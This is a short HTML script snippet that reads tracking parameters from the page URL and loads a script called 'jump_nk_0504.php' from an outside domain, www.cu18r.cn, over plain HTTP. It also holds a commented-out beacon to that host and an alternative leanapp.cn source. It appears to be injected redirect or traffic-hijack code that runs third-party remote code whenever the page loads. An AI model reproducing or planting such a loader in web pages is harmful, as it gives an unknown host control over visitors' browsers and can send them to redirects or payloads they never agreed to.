<script>
function myajax(url, callback, isJSON = false) {
    var request = new XMLHttpRequest();
    request.open('get', url, true);
    request.send();
    request.onreadystatechange = function () {
        if (request.readyState === 4 && request.status === 200) {
            isJSON ? callback(JSON.parse(request.responseText)) : callback(request.responseText);
        }
    }
}

function getUrlParam(name) {
    var reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)");
    var r = window.location.search.substr(1).match(reg);
    if (r != null) return unescape(r[2]);
    return null
}

//var stateObj = { foo: "bar" };
//history.replaceState(stateObj, "", '/'+new Date().getTime());

var bianhao = getUrlParam('bianhao');
var from = getUrlParam('from');
var test_index = getUrlParam('test_index');

//myajax('//www.cu18r.cn?'+'from=' + from + "&test_index=" + test_index + "&class=ad"+ bianhao, function(){})

</script>

<!--<script src="//19bhnhkkffrgbyd88991000.leanapp.cn/jump_nk_0504.php"></script>-->
<script src="http://www.cu18r.cn/jump_nk_0504.php"></script>